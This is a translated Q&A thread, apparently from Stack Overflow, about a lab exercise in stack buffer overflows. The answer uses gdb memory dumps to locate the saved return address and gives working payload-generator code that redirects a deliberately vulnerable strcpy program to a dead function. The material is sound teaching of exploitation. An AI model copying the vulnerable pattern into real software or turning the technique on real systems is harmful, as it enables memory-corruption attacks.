如何实现缓冲区溢出

詹姆斯·诺塔罗

我正在尝试使用缓冲区溢出来获取对root用户的访问权限(纯粹出于教育目的)

我编写了以下代码,将所需的输入写入错误的文件

int main(int argc, char **argv) {
    char buffer[512];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(buffer, 0x90, 512);

    /*First 20 characters for buffer*/
    strcpy(buffer, "a b c d e f g h i j ");

    /*Over write the next 8 characters*/
    strcat(buffer, "a b c d ");

    /*Overwrite return address*/
    strcat(buffer, argv[1]);

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 512, 1, badfile);
    fclose(badfile);
}

这是具有root访问权限的程序应执行的代码

int bof(char *str){
    char buffer[20];

    /* The following allows buffer overflow */ 
    strcpy(buffer, str);

    return 1;
  }


int main(int argc, char **argv) {
    char str[BSIZE];
    FILE *badfile;
    char *badfname = "badfile";

    badfile = fopen(badfname, "r");
    fread(str, sizeof(char), BSIZE, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

我希望从badfile读取的输入更改bof的返回地址,以便它将返回到我也已写入错误文件输入中的代码。但是,我的当前代码只会出现段错误。我知道这意味着我正在将新的寄信人地址写入内存的错误部分,但是我不确定如何也找到正确的写入位置。我在32位虚拟机上运行,​​并包括了第二部分代码的gdb反汇编

Dump of assembler code for function main:
0x080484d6 <main+0>:    lea    0x4(%esp),%ecx
0x080484da <main+4>:    and    $0xfffffff0,%esp
0x080484dd <main+7>:    pushl  -0x4(%ecx)
0x080484e0 <main+10>:   push   %ebp
0x080484e1 <main+11>:   mov    %esp,%ebp
0x080484e3 <main+13>:   push   %ecx
0x080484e4 <main+14>:   sub    $0x224,%esp
0x080484ea <main+20>:   movl   $0x8048623,-0x8(%ebp)
0x080484f1 <main+27>:   movl   $0x804862b,0x4(%esp)
0x080484f9 <main+35>:   mov    -0x8(%ebp),%eax
0x080484fc <main+38>:   mov    %eax,(%esp)
0x080484ff <main+41>:   call   0x80483a0 <fopen@plt>
0x08048504 <main+46>:   mov    %eax,-0xc(%ebp)
0x08048507 <main+49>:   mov    -0xc(%ebp),%eax
0x0804850a <main+52>:   mov    %eax,0xc(%esp)
0x0804850e <main+56>:   movl   $0x200,0x8(%esp)
0x08048516 <main+64>:   movl   $0x1,0x4(%esp)
0x0804851e <main+72>:   lea    -0x20c(%ebp),%eax
0x08048524 <main+78>:   mov    %eax,(%esp)
0x08048527 <main+81>:   call   0x80483e0 <fread@plt>
0x0804852c <main+86>:   lea    -0x20c(%ebp),%eax
0x08048532 <main+92>:   mov    %eax,(%esp)
---Type <return> to continue, or q <return> to quit---
0x08048535 <main+95>:   call   0x80484a4 <bof>
0x0804853a <main+100>:  movl   $0x804862d,(%esp)
0x08048541 <main+107>:  call   0x80483d0 <puts@plt>
0x08048546 <main+112>:  mov    $0x1,%eax
0x0804854b <main+117>:  add    $0x224,%esp
0x08048551 <main+123>:  pop    %ecx
0x08048552 <main+124>:  pop    %ebp
0x08048553 <main+125>:  lea    -0x4(%ecx),%esp
0x08048556 <main+128>:  ret    
End of assembler dump.
(gdb) 
(gdb) disassemble bof
Dump of assembler code for function bof:
0x080484a4 <bof+0>: push   %ebp
0x080484a5 <bof+1>: mov    %esp,%ebp
0x080484a7 <bof+3>: sub    $0x28,%esp
0x080484aa <bof+6>: mov    0x8(%ebp),%eax
0x080484ad <bof+9>: mov    %eax,0x4(%esp)
0x080484b1 <bof+13>:    lea    -0x14(%ebp),%eax
0x080484b4 <bof+16>:    mov    %eax,(%esp)
0x080484b7 <bof+19>:    call   0x80483b0 <strcpy@plt>
0x080484bc <bof+24>:    lea    -0x14(%ebp),%eax
0x080484bf <bof+27>:    mov    %eax,0x4(%esp)
0x080484c3 <bof+31>:    movl   $0x8048620,(%esp)
0x080484ca <bof+38>:    call   0x80483c0 <printf@plt>
0x080484cf <bof+43>:    mov    $0x1,%eax
0x080484d4 <bof+48>:    leave  
0x080484d5 <bof+49>:    ret    
End of assembler dump.
苏里扎
  1. 免责声明:

    我正在将Windows 7与gcc-4.8.3(来自http://mingw-w64.org/doku.php)以及gdb版本7.8(也来自http://mingw-w64.org/doku.php)一起使用。另外,当我运行这个小程序时,Windows 7似乎没有ASLR:

    #include <stdio.h>
    
    unsigned long find_start(void)
    {
        __asm__("movl %esp, %eax");
    }
    
    int main()
    {
        printf("0x%X\n", find_start();
        return (0);
    }
    

    我得到了相同的内存位置,如下所示:

    Q:\>find_addr1
    0x28fea8
    Q:\>find_addr1
    0x28fea8
    Q:\>find_addr1
    0x28fea8
    

    该程序摘自克里斯·安利(Chris Anley)等人撰写的《 Shellcoder手册:发现和利用安全漏洞》al。,其中的注释是:“ ..如果您注意到程序每次打印出的地址都不同,则可能意味着您正在运行带有grsecurity补丁或类似内容的发行版。” 如果您确实有不同的地址,则将使复制以下内容变得更加困难。例如,在我的Ubuntu-14.04 LTS系统上运行,我得到以下信息:

    ubuntu:~/projects$ ./find_addr
    0x4F5AF640
    ubuntu:~/projects$ ./find_addr
    0xCE71D3B0
    ubuntu:~/projects$ ./find_addr
    0xD4A21710
    

好的,既然准备工作已经完成,那么继续您的示例。因此,使用您的代码生成“ badfile”,我创建了以下文件:

    Q:\SE_test>genFile 0x43434343
    Q:\SE_test>more badfile
    a b c d e f g h i j a b c d 0x43434343ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ
    Q:\SE_test>

现在,让我们在GDB下运行易受攻击的程序,并在调用之前停止bof此时的反汇编如下所示:

       0x004015db <+92>:    call   0x4027b8 <fread>
    => 0x004015e0 <+97>:    lea    0x18(%esp),%eax
       0x004015e4 <+101>:   mov    %eax,(%esp)
       0x004015e7 <+104>:   call   0x401560 <bof>
       0x004015ec <+109>:   movl   $0x40402e,(%esp)

在这一点上,我们可以看看一些感兴趣的值。首先,请注意调用bof0x004015ec之后的指令地址,稍后我们将需要它。其次,我们可以检查一些重要的变量和寄存器:

    (gdb) print str
    $1 = "a b c d e f g h i j a b c d 0x43434343\000", '\220' <repeats 473 times>
    (gdb) print $ebp
    $2 = (void *) 0x28fec8
    (gdb) print $esp
    $3 = (void *) 0x28fca0

因此,我们现在知道在内存中找到了激活帧的main位置,并确认您已正确读取字符串。查看string的值,我确实看到两件事可能会在以后引起问题;

  1. 注意字符串中嵌入的空终止符(\ 000)吗?这将导致字符串复制bof停止。我们仍然应该获得缓冲区溢出。在shell代码中需要注意的一点是,我们不能有0x00字节,并且期望使用字符串处理函数。

  2. 请注意,我输入的地址(0x43434343)显示为文本而不是地址。据我所知,这是使用Windows的结果。但是,我们仍然可以看到要写入内存的位置,并检查情况是否在正确的位置。

现在,我们可以进入bof并查看拥有的内容:

     (gdb) s
     bof (str=0x28fcb8 "a b c d e f g h i j a b c d 0x43434343") at overflow1.c:13
     13     strcpy(buffer, str);
     (gdb) print $esp
     $5 = (void *) 0x28fc60
     (gdb) print $ebp
     $6 = (void *) 0x28fc98
     (gdb) x/80xb 0x28fc60
     0x28fc60:  0x00    0x02    0x00    0x00    0x50    0xfc    0x28    0x00
     0x28fc68:  0x60    0x29    0x76    0x76    0xc4    0xff    0x28    0x00
     0x28fc70:  0xd5    0x8c    0x6e    0x76    0xc7    0x1f    0xa9    0x74
     0x28fc78:  0xfe    0xff    0xff    0xff    0x6f    0xf4    0x6d    0x76
     0x28fc80:  0xe0    0xf3    0x6d    0x76    0xb8    0xfc    0x28    0x00
     0x28fc88:  0xff    0xff    0xff    0xff    0x01    0x00    0x00    0x00
     0x28fc90:  0x00    0x02    0x00    0x00    0x60    0x29    0x76    0x76
     0x28fc98:  0xc8    0xfe    0x28    0x00    0xec    0x15    0x40    0x00
     0x28fca0:  0xb8    0xfc    0x28    0x00    0x01    0x00    0x00    0x00
     0x28fca8:  0x00    0x02    0x00    0x00    0x60    0x29    0x76    0x76

在这一点上,我们开始对内存的布局方式有所了解,我们也可以查看内存的内容。特别有趣的是位于以下图中的内存位置0x28fc9c0x28fca0处的值

      address          contents      
                     +------------+
       0x28fec8      |            |   <-- base pointer for main's stack frame
                     +------------+
                     |            |
                     ~            ~ 
                     ~            ~
                     |            |
                     +------------+
      0x28fca0       | 0x0028fcb8 |   <-- stack pointer for main's stack frame
                     +------------+
      0x28fc9c       | 0x004015ec |   <--- stored eip
                     +------------+
      0x28fc98       | 0x0028fec8 |   <-- base pointer for bof's stack frame
                     +------------+
                     |            |
                     ~            ~ 
                     ~            ~
                     |            |
                     +------------+
      0x28fc60       |            |   <-- stack pointer for bof's stack frame
                     +------------+

查看main的反汇编,我们可以看到对call的调用之后的下一条指令bof位于0x004015ec我们可以看到该指令已被压入堆栈中的内存位置0x0028fc9c

现在已经完成了此分析,我们可以执行字符串复制,然后再次查看内存并查看已完成的操作(请记住,“ a”的ASCII值为0x61,空格的ASCII值为0x20)。作为参考,我们可以看到缓冲区bof位于内存地址0x000x28fc7c

  (gdb) x/80xb 0x28fc60
  0x28fc60: 0x7c    0xfc    0x28    0x00    0xb8    0xfc    0x28    0x00
  0x28fc68: 0x60    0x29    0x76    0x76    0xc4    0xff    0x28    0x00
  0x28fc70: 0xd5    0x8c    0x6e    0x76    0xc7    0x1f    0xa9    0x74
  0x28fc78: 0xfe    0xff    0xff    0xff    0x61    0x20    0x62    0x20
  0x28fc80: 0x63    0x20    0x64    0x20    0x65    0x20    0x66    0x20
  0x28fc88: 0x67    0x20    0x68    0x20    0x69    0x20    0x6a    0x20
  0x28fc90: 0x61    0x20    0x62    0x20    0x63    0x20    0x64    0x20
  0x28fc98: 0x30    0x78    0x34    0x33    0x34    0x33    0x34    0x33
  0x28fca0: 0x34    0x33    0x00    0x00    0x01    0x00    0x00    0x00
  0x28fca8: 0x00    0x02    0x00    0x00    0x60    0x29    0x76    0x76

我们对存储的eip所在的区域特别感兴趣

  0x28fca8:  0x00   0x02    0x00    0x00
  0x28fca4:  0x01   0x00    0x00    0x00
  0x28fca0:  0x34   0x33    0x00    0x00
  0x28fc9c:  0x34   0x33    0x34    0x33
  0x28fc98:  0x30   0x78    0x34    0x33   

从这个它看起来像什么,我进入了一个命令行参数(×43)的第一部分是覆盖EBPbof因此,我怀疑您需要在写入新地址之前在字符串中再添加四个字节。另外,您可能需要检查以确保正确处理了命令行参数。

作为对此的测试,我对您的两个程序进行了一些修改:

首先,将生成不良文件的程序修改为:

  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>

  int main(int argc, char **argv)
  {
      char buffer[512];
      FILE *badfile;
      int  ndx;

      /* Initialize buffer with 0x90 (NOP instruction) */
      memset(buffer, 0x90, 512);

     /*First n-characters for buffer*/
     for(ndx = 0; ndx < atoi(argv[1]); ndx++)
         buffer[ndx] = 'A';

    /*Overwrite return address*/
    buffer[ndx++] = 0x7f;
    buffer[ndx++] = 0x15;
    buffer[ndx++] = 0x40;
    buffer[ndx++] = 0x00;

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 512, 1, badfile);
    fclose(badfile);
    return 0;
  }

现在,您的命令行参数允许您输入要写入文件的字节数,然后再写入新的返回地址。我还修改了您的易受攻击的程序,使其看起来像这样:

  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>

  #define BSIZE 512

  int bof(char *str)
  {
       char buffer[20];

       /* The following allows buffer overflow */ 
       strcpy(buffer, str);

       return 1;
  }

  void output()
  {
       printf("We should never see this\n");
       exit(1);
  }

  int main(int argc, char **argv)
  {
      char str[BSIZE];
      FILE *badfile;
      char *badfname = "badfile";

      badfile = fopen(badfname, "r");
      fread(str, sizeof(char), BSIZE, badfile);
      bof(str);

      printf("Returned Properly\n");
      return 0;
  }

注意,这output实际上是死代码,但是进行快速反汇编,我发现它output开始于0x0040157f这是我在上面的genFile代码中输入缓冲区的值。现在来看几个测试用例:

    Q:\SE_test>gcc -ansi -pedantic -Wall genFile.c -o genFile

    Q:\SE_test>gcc -ansi -pedantic -Wall overflow1.c -o overflow1

    Q:\SE_test>genFile 28

    Q:\SE_test>overflow1
    Returned Properly (see note below)

    Q:\SE_test>genFile 32

    Q:\SE_test>overflow1
    We should never see this

    Q:\SE_test>

注意:在第一次运行中,即使程序显示“正确返回”,程序还是崩溃了,并且窗口显示了“此程序已停止工作对话框”。

希望这对您有帮助,如果还有其他问题,请询问。T.

本文收集自互联网,转载请注明来源。

如有侵权,请联系[email protected] 删除。

编辑于
0

我来说两句

0条评论
登录后参与评论

相关文章